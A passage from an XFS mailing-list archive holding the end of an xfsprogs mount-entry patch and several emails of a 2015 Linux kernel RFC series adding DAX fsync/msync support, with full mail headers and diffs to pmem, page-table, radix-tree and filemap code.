typedef __int64_t xfs_daddr_t; +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline struct mntent * platform_mntent_next(struct mntent_cursor * cursor) +{ + return getmntent(cursor->mtabp); +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + #endif /* __XFS_LINUX_H__ */ -- 2.6.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EBF697CBF for ; Thu, 29 Oct 2015 15:12:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DBA588F8049 for ; Thu, 29 Oct 2015 13:12:31 -0700 (PDT) X-ASG-Debug-ID: 1446149548-04cb6c7b85112660003-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id dL7R1tmoTZbvxvof for ; Thu, 29 Oct 2015 13:12:30 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:29 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730568" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:28 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 02/11] mm: add pmd_mkclean() Date: Thu, 29 Oct 2015 14:12:06 -0600 X-ASG-Orig-Subj: [RFC 02/11] mm: add pmd_mkclean() Message-Id: <1446149535-16200-3-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149550 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Currently PMD pages can be dirtied via pmd_mkdirty(), but cannot be cleaned. For DAX mmap dirty page tracking we need to be able to clean PMD pages when we flush them to media so that we get a new write fault the next time the are written to. Signed-off-by: Ross Zwisler --- arch/x86/include/asm/pgtable.h | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/arch/x86/include/asm/pgtable.h b/arch/x86/include/asm/pgtable.h index 867da5b..c548e4c 100644 --- a/arch/x86/include/asm/pgtable.h +++ b/arch/x86/include/asm/pgtable.h @@ -277,6 +277,11 @@ static inline pmd_t pmd_mkdirty(pmd_t pmd) return pmd_set_flags(pmd, _PAGE_DIRTY | _PAGE_SOFT_DIRTY); } +static inline pmd_t pmd_mkclean(pmd_t pmd) +{ + return pmd_clear_flags(pmd, _PAGE_DIRTY | _PAGE_SOFT_DIRTY); +} + static inline pmd_t pmd_mkhuge(pmd_t pmd) { return pmd_set_flags(pmd, _PAGE_PSE); -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF8907CBF for ; Thu, 29 Oct 2015 15:12:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CFEC130404E for ; Thu, 29 Oct 2015 13:12:32 -0700 (PDT) X-ASG-Debug-ID: 1446149551-04cbb0660d122790001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id 3CAC24cb9E0JNJWp for ; Thu, 29 Oct 2015 13:12:31 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:30 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730578" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:29 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 03/11] pmem: enable REQ_FLUSH handling Date: Thu, 29 Oct 2015 14:12:07 -0600 X-ASG-Orig-Subj: [RFC 03/11] pmem: enable REQ_FLUSH handling Message-Id: <1446149535-16200-4-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149551 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Currently the PMEM driver doesn't accept REQ_FLUSH bios. These are sent down via blkdev_issue_flush() in response to a fsync() or msync(). When we get an msync() or fsync() it is the responsibility of the DAX code to flush all dirty pages to media. The PMEM driver then just has issue a wmb_pmem() in response to the REQ_FLUSH to ensure that before we return all the flushed data has been durably stored on the media. Signed-off-by: Ross Zwisler --- drivers/nvdimm/pmem.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/drivers/nvdimm/pmem.c b/drivers/nvdimm/pmem.c index 0ba6a97..e1e222e 100644 --- a/drivers/nvdimm/pmem.c +++ b/drivers/nvdimm/pmem.c @@ -80,7 +80,7 @@ static void pmem_make_request(struct request_queue *q, struct bio *bio) if (do_acct) nd_iostat_end(bio, start); - if (bio_data_dir(bio)) + if (bio_data_dir(bio) || (bio->bi_rw & REQ_FLUSH)) wmb_pmem(); bio_endio(bio); @@ -189,6 +189,7 @@ static int pmem_attach_disk(struct device *dev, blk_queue_physical_block_size(pmem->pmem_queue, PAGE_SIZE); blk_queue_max_hw_sectors(pmem->pmem_queue, UINT_MAX); blk_queue_bounce_limit(pmem->pmem_queue, BLK_BOUNCE_ANY); + blk_queue_flush(pmem->pmem_queue, REQ_FLUSH); queue_flag_set_unlocked(QUEUE_FLAG_NONROT, pmem->pmem_queue); disk = alloc_disk(0); -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 220237F3F for ; Thu, 29 Oct 2015 15:12:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1344B30404E for ; Thu, 29 Oct 2015 13:12:29 -0700 (PDT) X-ASG-Debug-ID: 1446149548-04cb6c7b85112660001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id ouHuDNMaT7wwrXxX for ; Thu, 29 Oct 2015 13:12:28 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:28 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730552" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:27 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 00/11] DAX fsynx/msync support Date: Thu, 29 Oct 2015 14:12:04 -0600 X-ASG-Orig-Subj: [RFC 00/11] DAX fsynx/msync support Message-Id: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149548 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch series adds support for fsync/msync to DAX. Patches 1 through 8 add various utilities that the DAX code will eventually need, and the DAX code itself is added by patch 9. Patches 10 and 11 are filesystem changes that are needed after the DAX code is added, but these patches may change slightly as the filesystem fault handling for DAX is being modified ([1] and [2]). I've marked this series as RFC because I'm still testing, but I wanted to get this out there so people would see the direction I was going and hopefully comment on any big red flags sooner rather than later. I realize that we are getting pretty dang close to the v4.4 merge window, but I think that if we can get this reviewed and working it's a much better solution than the "big hammer" approach that blindly flushes entire PMEM namespaces [3]. [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html Ross Zwisler (11): pmem: add wb_cache_pmem() to the PMEM API mm: add pmd_mkclean() pmem: enable REQ_FLUSH handling dax: support dirty DAX entries in radix tree mm: add follow_pte_pmd() mm: add pgoff_mkclean() mm: add find_get_entries_tag() fs: add get_block() to struct inode_operations dax: add support for fsync/sync xfs, ext2: call dax_pfn_mkwrite() on write fault ext4: add ext4_dax_pfn_mkwrite() arch/x86/include/asm/pgtable.h | 5 ++ arch/x86/include/asm/pmem.h | 11 +-- drivers/nvdimm/pmem.c | 3 +- fs/dax.c | 161 +++++++++++++++++++++++++++++++++++++++-- fs/ext2/file.c | 5 +- fs/ext4/file.c | 23 +++++- fs/inode.c | 1 + fs/xfs/xfs_file.c | 9 ++- fs/xfs/xfs_iops.c | 1 + include/linux/dax.h | 6 ++ include/linux/fs.h | 5 +- include/linux/mm.h | 2 + include/linux/pagemap.h | 3 + include/linux/pmem.h | 22 +++++- include/linux/radix-tree.h | 3 + include/linux/rmap.h | 5 ++ mm/filemap.c | 73 ++++++++++++++++++- mm/huge_memory.c | 14 ++-- mm/memory.c | 41 +++++++++-- mm/page-writeback.c | 9 +++ mm/rmap.c | 53 ++++++++++++++ mm/truncate.c | 5 +- 22 files changed, 418 insertions(+), 42 deletions(-) -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 996997F3F for ; Thu, 29 Oct 2015 15:12:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8A4F78F804C for ; Thu, 29 Oct 2015 13:12:31 -0700 (PDT) X-ASG-Debug-ID: 1446149548-04cb6c7b85112660002-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id p6hl9FycSJHYkd5x for ; Thu, 29 Oct 2015 13:12:29 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:29 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730559" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:28 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 01/11] pmem: add wb_cache_pmem() to the PMEM API Date: Thu, 29 Oct 2015 14:12:05 -0600 X-ASG-Orig-Subj: [RFC 01/11] pmem: add wb_cache_pmem() to the PMEM API Message-Id: <1446149535-16200-2-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149549 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header The function __arch_wb_cache_pmem() was already an internal implementation detail of the x86 PMEM API, but this functionality needs to be exported as part of the general PMEM API to handle the fsync/msync case for DAX mmaps. Signed-off-by: Ross Zwisler --- arch/x86/include/asm/pmem.h | 11 ++++++----- include/linux/pmem.h | 22 +++++++++++++++++++++- 2 files changed, 27 insertions(+), 6 deletions(-) diff --git a/arch/x86/include/asm/pmem.h b/arch/x86/include/asm/pmem.h index d8ce3ec..6c7ade0 100644 --- a/arch/x86/include/asm/pmem.h +++ b/arch/x86/include/asm/pmem.h @@ -67,18 +67,19 @@ static inline void arch_wmb_pmem(void) } /** - * __arch_wb_cache_pmem - write back a cache range with CLWB + * arch_wb_cache_pmem - write back a cache range with CLWB * @vaddr: virtual start address * @size: number of bytes to write back * * Write back a cache range using the CLWB (cache line write back) * instruction. This function requires explicit ordering with an - * arch_wmb_pmem() call. This API is internal to the x86 PMEM implementation. + * arch_wmb_pmem() call. */ -static inline void __arch_wb_cache_pmem(void *vaddr, size_t size) +static inline void arch_wb_cache_pmem(void __pmem *addr, size_t size) { u16 x86_clflush_size = boot_cpu_data.x86_clflush_size; unsigned long clflush_mask = x86_clflush_size - 1; + void *vaddr = (void __force *)addr; void *vend = vaddr + size; void *p; @@ -115,7 +116,7 @@ static inline size_t arch_copy_from_iter_pmem(void __pmem *addr, size_t bytes, len = copy_from_iter_nocache(vaddr, bytes, i); if (__iter_needs_pmem_wb(i)) - __arch_wb_cache_pmem(vaddr, bytes); + arch_wb_cache_pmem(addr, bytes); return len; } @@ -138,7 +139,7 @@ static inline void arch_clear_pmem(void __pmem *addr, size_t size) else memset(vaddr, 0, size); - __arch_wb_cache_pmem(vaddr, size); + arch_wb_cache_pmem(addr, size); } static inline bool __arch_has_wmb_pmem(void) diff --git a/include/linux/pmem.h b/include/linux/pmem.h index 85f810b3..2cd5003 100644 --- a/include/linux/pmem.h +++ b/include/linux/pmem.h @@ -53,12 +53,18 @@ static inline void arch_clear_pmem(void __pmem *addr, size_t size) { BUG(); } + +static inline void arch_wb_cache_pmem(void __pmem *addr, size_t size) +{ + BUG(); +} #endif /* * Architectures that define ARCH_HAS_PMEM_API must provide * implementations for arch_memcpy_to_pmem(), arch_wmb_pmem(), - * arch_copy_from_iter_pmem(), arch_clear_pmem() and arch_has_wmb_pmem(). + * arch_copy_from_iter_pmem(), arch_clear_pmem(), arch_wb_cache_pmem() + * and arch_has_wmb_pmem(). */ static inline void memcpy_from_pmem(void *dst, void __pmem const *src, size_t size) { @@ -202,4 +208,18 @@ static inline void clear_pmem(void __pmem *addr, size_t size) else default_clear_pmem(addr, size); } + +/** + * wb_cache_pmem - write back processor cache for PMEM memory range + * @addr: virtual start address + * @size: number of bytes to write back + * + * Write back the processor cache range starting at 'addr' for 'size' bytes. + * This function requires explicit ordering with a wmb_pmem() call. + */ +static inline void wb_cache_pmem(void __pmem *addr, size_t size) +{ + if (arch_has_pmem_api()) + arch_wb_cache_pmem(addr, size); +} #endif /* __PMEM_H__ */ -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C140B7F4E for ; Thu, 29 Oct 2015 15:12:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 82FA78F804B for ; Thu, 29 Oct 2015 13:12:34 -0700 (PDT) X-ASG-Debug-ID: 1446149552-04bdf0330a122fc0001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id QyrThUPtrPOAD5Pi for ; Thu, 29 Oct 2015 13:12:32 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:31 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730597" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:30 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 04/11] dax: support dirty DAX entries in radix tree Date: Thu, 29 Oct 2015 14:12:08 -0600 X-ASG-Orig-Subj: [RFC 04/11] dax: support dirty DAX entries in radix tree Message-Id: <1446149535-16200-5-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149552 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Add support for tracking dirty DAX entries in the struct address_space radix tree. This tree is already used for dirty page writeback, and it already supports the use of exceptional (non struct page*) entries. In order to properly track dirty DAX pages we will insert new exceptional entries into the radix tree that represent dirty DAX PTE or PMD pages. There are currently two types of exceptional entries (shmem and shadow) that can be placed into the radix tree, and this adds a third. There shouldn't be any collisions between these various exceptional entries because only one type of exceptional entry should be able to be found in a radix tree at a time depending on how it is being used. Signed-off-by: Ross Zwisler --- fs/inode.c | 1 + include/linux/dax.h | 5 +++++ include/linux/fs.h | 1 + include/linux/radix-tree.h | 3 +++ mm/filemap.c | 12 ++++++++---- mm/truncate.c | 5 +++-- 6 files changed, 21 insertions(+), 6 deletions(-) diff --git a/fs/inode.c b/fs/inode.c index 78a17b8..f7c87a6 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -496,6 +496,7 @@ void clear_inode(struct inode *inode) spin_lock_irq(&inode->i_data.tree_lock); BUG_ON(inode->i_data.nrpages); BUG_ON(inode->i_data.nrshadows); + BUG_ON(inode->i_data.nrdax); spin_unlock_irq(&inode->i_data.tree_lock); BUG_ON(!list_empty(&inode->i_data.private_list)); BUG_ON(!(inode->i_state & I_FREEING)); diff --git a/include/linux/dax.h b/include/linux/dax.h index b415e52..e9d57f68 100644 --- a/include/linux/dax.h +++ b/include/linux/dax.h @@ -36,4 +36,9 @@ static inline bool vma_is_dax(struct vm_area_struct *vma) { return vma->vm_file && IS_DAX(vma->vm_file->f_mapping->host); } + +static inline bool dax_mapping(struct address_space *mapping) +{ + return mapping->host && IS_DAX(mapping->host); +} #endif diff --git a/include/linux/fs.h b/include/linux/fs.h index 72d8a84..f791698 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -433,6 +433,7 @@ struct address_space { /* Protected by tree_lock together with the radix tree */ unsigned long nrpages; /* number of total pages */ unsigned long nrshadows; /* number of shadow entries */ + unsigned long nrdax; /* number of DAX entries */ pgoff_t writeback_index;/* writeback starts here */ const struct address_space_operations *a_ops; /* methods */ unsigned long flags; /* error bits/gfp mask */ diff --git a/include/linux/radix-tree.h b/include/linux/radix-tree.h index 33170db..fabec66 100644 --- a/include/linux/radix-tree.h +++ b/include/linux/radix-tree.h @@ -51,6 +51,9 @@ #define RADIX_TREE_EXCEPTIONAL_ENTRY 2 #define RADIX_TREE_EXCEPTIONAL_SHIFT 2 +#define RADIX_TREE_DAX_PTE ((void *)(0x10 | RADIX_TREE_EXCEPTIONAL_ENTRY)) +#define RADIX_TREE_DAX_PMD ((void *)(0x20 | RADIX_TREE_EXCEPTIONAL_ENTRY)) + static inline int radix_tree_is_indirect_ptr(void *ptr) { return (int)((unsigned long)ptr & RADIX_TREE_INDIRECT_PTR); diff --git a/mm/filemap.c b/mm/filemap.c index 327910c..c3a9e4f 100644 --- a/mm/filemap.c +++ b/mm/filemap.c @@ -11,6 +11,7 @@ */ #include #include +#include #include #include #include @@ -440,7 +441,7 @@ int filemap_write_and_wait_range(struct address_space *mapping, { int err = 0; - if (mapping->nrpages) { + if (mapping->nrpages || mapping->nrdax) { err = __filemap_fdatawrite_range(mapping, lstart, lend, WB_SYNC_ALL); /* See comment of filemap_write_and_wait() */ @@ -538,6 +539,9 @@ static int page_cache_tree_insert(struct address_space *mapping, p = radix_tree_deref_slot_protected(slot, &mapping->tree_lock); if (!radix_tree_exceptional_entry(p)) return -EEXIST; + + BUG_ON(dax_mapping(mapping)); + if (shadowp) *shadowp = p; mapping->nrshadows--; @@ -1201,9 +1205,9 @@ repeat: if (radix_tree_deref_retry(page)) goto restart; /* - * A shadow entry of a recently evicted page, - * or a swap entry from shmem/tmpfs. Return - * it without attempting to raise page count. + * A shadow entry of a recently evicted page, a swap + * entry from shmem/tmpfs or a DAX entry. Return it + * without attempting to raise page count. */ goto export; } diff --git a/mm/truncate.c b/mm/truncate.c index 76e35ad..cdf44a0 100644 --- a/mm/truncate.c +++ b/mm/truncate.c @@ -9,6 +9,7 @@ #include #include +#include #include #include #include @@ -29,8 +30,8 @@ static void clear_exceptional_entry(struct address_space *mapping, struct radix_tree_node *node; void **slot; - /* Handled by shmem itself */ - if (shmem_mapping(mapping)) + /* Handled by shmem or DAX directly */ + if (shmem_mapping(mapping) || dax_mapping(mapping)) return; spin_lock_irq(&mapping->tree_lock); -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6E9007F53 for ; Thu, 29 Oct 2015 15:12:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 323C3304053 for ; Thu, 29 Oct 2015 13:12:36 -0700 (PDT) X-ASG-Debug-ID: 1446149554-04bdf0330c122fd0001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id PxN4OrpBzM9wdwZt for ; Thu, 29 Oct 2015 13:12:34 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:33 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730634" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:32 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 06/11] mm: add pgoff_mkclean() Date: Thu, 29 Oct 2015 14:12:10 -0600 X-ASG-Orig-Subj: [RFC 06/11] mm: add pgoff_mkclean() Message-Id: <1446149535-16200-7-git-send-email-ross.zwisler@linux.intel.com> 